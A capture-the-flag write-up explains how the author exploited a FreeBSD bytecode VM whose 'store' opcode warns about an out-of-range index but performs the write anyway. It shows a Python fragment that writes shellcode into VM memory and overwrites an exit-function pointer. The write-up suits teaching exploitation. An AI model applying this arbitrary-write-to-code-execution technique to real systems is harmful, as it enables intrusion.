This challenge was on remote exploiting. The binary is for FreeBSD.
The program is some kind of a Virtual Machine, with it’s own stack and memory.
binary
Summary: memory address check mistake, write shellcode and overwrite _exit function pointer
Quick look at the programs code (main is sub_80496F0
):
v5 = "HistoryRepeatsItself\n"; v9 = &a1; v4 = a1; v6 = buf; v7 = a2; fwrite("Password: ", 1, 10, STDOUT); fgets(buf, 256, STDIN); v3 = 22; do { if ( !v3 ) break; v2 = *v6++ == *v5++; --v3; } while ( v2 ); JUMPOUT(!v2, *error); load_code(v4, v7); while ( 1 ) execute(v4);
We see a password check and then loading and executing virtual machine code. load_code
is rather complicated function, but after close look it simply does the following things:
- it reads code from a file, passed through argv[1] or from stdin
- the code is parsed as a some sort of whitespace: 0x20 (space) is 1, 0x09 (tab) is 0:
- opcodes are 7 such ‘bits’
- operands are 32 such ‘bits’
- instructions with arguments must end with \n
Ok, now we can pass some code for the VM. Let’s analyze execute function (sub_08048DE0
). There are many opcodes and we can easily guess most of them, like arithmetic operands:
case 0u: v13 = sub_8048290(); v14 = sub_8048290(); return sub_80482C0(v13 + v14); case 1u: v15 = sub_8048290(); v16 = sub_8048290(); return sub_80482C0(v16 - v15); case 2u: v17 = sub_8048290(); v18 = sub_8048290(); return sub_80482C0(v17 * v18); case 3u: v19 = sub_8048290(); v20 = sub_8048290(); return sub_80482C0(v20 / v19); case 4u: v21 = sub_8048290(); v22 = sub_8048290(); return sub_80482C0(v22 % v21);
But the most interesting instruction is this:
case 0x1F: v13 = get_argument(); if ( (unsigned int)v13 > 0x7F ) fwrite("Register out of range.\n", 1, 23, STDOUT); result = get_argument(); dword_80E49C0[v13] = result; return result;
It reads two arguments and copies arg2 to mem[arg1]. And here is the mistake: arg1 is checked, but if it’s too large, nothing bad happens – only a message is shown and the instruction is executed.
So, we can overwrite any writeable place in program with any data. I decided to put shellcode at the first virtual memory addresses. And then overwrite some callable pointer with our shellcode address. There is a nice one, at 0x080E4FF0 (it points to a some sort of terminating function). It’s has index of 396 ( (0x080E4FF0-0x080E49C0)/4
):
vals = struct.unpack("<%dI" % (len(SC)/4), SC) code = "" for i, val in enumerate(vals): # PUT SHELLCODE TO VM's MEM code += instr(31, i, val) # MAKE POINTER POINT TO SHELLCODE code += instr(31, 396, sc_addr)
The final exploit is here.
Also, there were no binaries there, even /bin/sh. So I wrote a shellcode, which opened file “key” and printed it’s contents.
The flag: grace slick is a badass bitch!
1 comment
there’s. little chance that arg1 can get saturated
…